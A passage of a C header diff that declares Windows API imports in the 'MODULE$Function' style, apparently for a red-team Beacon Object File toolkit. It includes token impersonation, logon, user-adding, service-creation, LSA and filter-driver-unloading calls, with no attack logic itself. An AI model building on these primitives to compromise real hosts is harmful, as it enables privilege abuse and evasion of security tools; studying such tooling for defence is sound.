+WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount); +WINBASEAPI PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle); +WINBASEAPI char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim); +WINBASEAPI int __cdecl MSVCRT$swprintf(wchar_t *__stream, const wchar_t *__format, ...); +WINBASEAPI int __cdecl MSVCRT$_swprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,...); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count); +WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source); +WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); +WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch); +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim); +WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix); +WINBASEAPI long __cdecl MSVCRT$_wtol(const wchar_t * str); +DECLSPEC_IMPORT void __cdecl MSVCRT$srand(unsigned int _Seed); +DECLSPEC_IMPORT int __cdecl MSVCRT$rand(void); +_CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time); +WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...); +_CRTIMP uintptr_t __cdecl MSVCRT$_beginthreadex(void *_Security,unsigned _StackSize,_beginthreadex_proc_type _StartAddress,void *_ArgList,unsigned _InitFlag,unsigned *_ThrdAddr); +_CRTIMP void __cdecl MSVCRT$_endthreadex(unsigned _Retval) __MINGW_ATTRIB_NORETURN; +WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format, ...); + +_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time); + +//SHLWAPI +WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile); +WINBASEAPI WINBOOL WINAPI SHLWAPI$PathFileExistsW(LPCWSTR pszPath); +WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrA(LPCSTR lpFirst,LPCSTR lpSrch); + +//SHELL32 +WINBASEAPI WINBOOL WINAPI SHELL32$ShellExecuteExW(SHELLEXECUTEINFOW *pExecInfo); +WINBASEAPI HINSTANCE WINAPI SHELL32$ShellExecuteA (HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd); + +//DNSAPI +WINBASEAPI DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*); +WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); + +//WSOCK32 +WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp); + +//WS2_32 +WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong); +WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort); +WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in); +WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze); +WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr); +WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData); +WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void); +WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol); +WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen); +WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen); +WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen); +WINBASEAPI int WINAPI WS2_32$recv(SOCKET s,char *buf,int len,int flags); +WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s); +WINBASEAPI int WINAPI WS2_32$WSACleanup(void); +WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort); +WINBASEAPI int WINAPI WS2_32$bind(SOCKET s,const struct sockaddr *addr,int namelen); +WINBASEAPI int WINAPI WS2_32$listen(SOCKET s,int backlog); +WINBASEAPI SOCKET WINAPI WS2_32$accept(SOCKET s,struct sockaddr *addr,int *addrlen); +WINBASEAPI SOCKET WINAPI WS2_32$send(SOCKET s,const char *buf,int len,int flags); + +//winhttp +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpen(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD); +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpConnect(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD); +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpenRequest(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpAddRequestHeaders(HINTERNET,LPCWSTR,DWORD,DWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpSendRequest(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpReceiveResponse(HINTERNET,LPVOID); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpReadData(HINTERNET,LPVOID,DWORD,LPDWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpCloseHandle(HINTERNET); + + +//NETAPI32 +WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo); +WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR ComputerName,LPCWSTR DomainName,GUID *DomainGuid,LPCWSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOW *DomainControllerInfo); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE buf,DWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err); +WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupAddUser(LPCWSTR servername,LPCWSTR GroupName,LPCWSTR userName); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupAddUser(LPCWSTR servername,LPCWSTR GroupName,LPCWSTR userName); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err); + +//MPR +WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum); +WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize); +WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum); +WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct); +WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem); +WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName, LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags); +WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce); + +//USER32 +WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent); +WINUSERAPI UINT WINAPI USER32$DdeInitializeA(LPDWORD pidInst,PFNCALLBACK pfnCallback,DWORD afCmd,DWORD ulRes); +WINUSERAPI HCONVLIST WINAPI USER32$DdeConnectList(DWORD idInst,HSZ hszService,HSZ hszTopic,HCONVLIST hConvList,PCONVCONTEXT pCC); +WINUSERAPI WINBOOL WINAPI USER32$DdeDisconnectList(HCONVLIST hConvList); +WINUSERAPI WINBOOL WINAPI USER32$DdeUninitialize(DWORD idInst); +WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam); +WINUSERAPI WINBOOL WINAPI USER32$EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam); +WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR lpszClass,LPCSTR lpszWindow); +WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND hWndParent,HWND hWndChildAfter,LPCSTR lpszClass,LPCSTR lpszWindow); +WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount); +WINUSERAPI HANDLE WINAPI USER32$GetPropA(HWND hWnd,LPCSTR lpString); +WINUSERAPI LONG WINAPI USER32$GetWindowLongA(HWND hWnd,int nIndex); +WINUSERAPI LONG_PTR WINAPI USER32$GetWindowLongPtrA(HWND hWnd,int nIndex); +WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount); +WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND hWnd,LPDWORD lpdwProcessId); +WINUSERAPI int WINAPI USER32$IsWindowVisible(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$PostMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$SendMessageTimeoutW(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam,UINT fuFlags,UINT uTimeout,PDWORD_PTR lpdwResult); +WINUSERAPI BOOL WINAPI USER32$SetPropA(HWND hWnd,LPCSTR lpString,HANDLE hData); +WINUSERAPI LONG WINAPI USER32$SetWindowLongA(HWND hWnd,int nIndex, LONG dwNewLong); +WINUSERAPI LONG_PTR WINAPI USER32$SetWindowLongPtrA(HWND hWnd,int nIndex, LONG_PTR dwNewLong); +WINUSERAPI UINT_PTR WINAPI USER32$SetTimer(HWND hWnd, UINT_PTR nIDEvent, UINT uElapse, TIMERPROC lpTimerFunc); +WINUSERAPI WINBOOL WINAPI USER32$KillTimer(HWND hWnd, UINT_PTR uIDEvent); +WINUSERAPI WINBOOL WINAPI USER32$PostMessageW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +WINUSERAPI HDC WINAPI USER32$BeginPaint(HWND hWnd, LPPAINTSTRUCT lpPaint); +WINUSERAPI WINBOOL WINAPI USER32$GetClientRect(HWND hWnd, LPRECT lpRect); +WINUSERAPI int WINAPI USER32$FillRect(HDC hDC, CONST RECT *lprc, HBRUSH hbr); +WINUSERAPI int WINAPI USER32$DrawTextW(HDC hdc, LPCWSTR lpchText, int cchText, LPRECT lprc, UINT format); +WINUSERAPI WINBOOL WINAPI USER32$EndPaint(HWND hWnd, CONST PAINTSTRUCT *lpPaint); +WINUSERAPI WINBOOL WINAPI USER32$DestroyWindow(HWND hWnd); +WINUSERAPI VOID WINAPI USER32$PostQuitMessage(int nExitCode); +WINUSERAPI LRESULT WINAPI USER32$DefWindowProcW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$DispatchMessageW(CONST MSG *lpMsg); +WINUSERAPI WINBOOL WINAPI USER32$TranslateMessage(CONST MSG *lpMsg); +WINUSERAPI WINBOOL WINAPI USER32$GetMessageW(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax); +WINUSERAPI HWND WINAPI USER32$SetFocus(HWND hWnd); +WINUSERAPI ATOM WINAPI USER32$RegisterClassExW(CONST WNDCLASSEXW *lpwcx); +WINUSERAPI WINBOOL WINAPI USER32$SetForegroundWindow(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$UpdateWindow(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow); +WINUSERAPI WINBOOL WINAPI USER32$UnregisterClassW(LPCWSTR lpClassName, HINSTANCE hInstance); +WINUSERAPI HWND WINAPI USER32$CreateWindowExW(DWORD dwExStyle, LPCWSTR lpClassName, LPCWSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam); +WINUSERAPI int WINAPI USER32$GetSystemMetrics(int nIndex); + +//SSPICLI +WINBASEAPI DWORD WINAPI SSPICLI$EnumerateSecurityPackagesA(unsigned long*, PSecPkgInfoA*); +WINBASEAPI SECURITY_STATUS WINAPI SSPICLI$FreeContextBuffer(void *pvContextBuffer); + +//SECUR32 +WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize); +WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExW (int NameFormat, LPWSTR lpNameBuffer, PULONG nSize); +WINBASEAPI BOOLEAN WINAPI SECUR32$GetComputerObjectNameW (int NameFormat, LPWSTR lpNameBuffer, PULONG nSize); +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential); +WINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR, LPSTR, unsigned long, void*, void*, SEC_GET_KEY_FN, void *, PCredHandle, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextW(PCredHandle, PCtxtHandle, SEC_WCHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(PCredHandle, PCtxtHandle, PSecBufferDesc, unsigned long, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext); +WINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR, LPSTR, unsigned long, void*, void*, SEC_GET_KEY_FN, void *, PCredHandle, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(PCredHandle, PCtxtHandle, PSecBufferDesc, unsigned long, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$LsaConnectUntrusted(PHANDLE); +WINBASEAPI NTSTATUS NTAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle); +WINBASEAPI NTSTATUS NTAPI SECUR32$LsaFreeReturnBuffer (PVOID Buffer); +WINBASEAPI DWORD WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE, PLSA_STRING, PULONG); +WINBASEAPI DWORD WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE, ULONG, PVOID, ULONG, PVOID*, PULONG, PNTSTATUS); + +//VERSION +WINBASEAPI WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); +WINBASEAPI WINBOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename,DWORD dwHandle,DWORD dwLen,LPVOID lpData); +WINBASEAPI DWORD WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle); +WINBASEAPI DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilename,LPDWORD lpdwHandle); +WINBASEAPI WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen); +WINBASEAPI WINBOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock,LPCWSTR lpSubBlock,LPVOID *lplpBuffer,PUINT puLen); + +//FLTLIB +HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName); + +//ADVAPI32 +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountNameA (LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessAsUserW (HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessWithLogonW (LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessWithTokenW (HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken (HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded); +WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping); +WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS); +WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential); +WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); +WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerW(LPCWSTR lpMachineName,LPCWSTR lpDatabaseName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceW(SC_HANDLE hSCManager,LPCWSTR lpServiceName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR 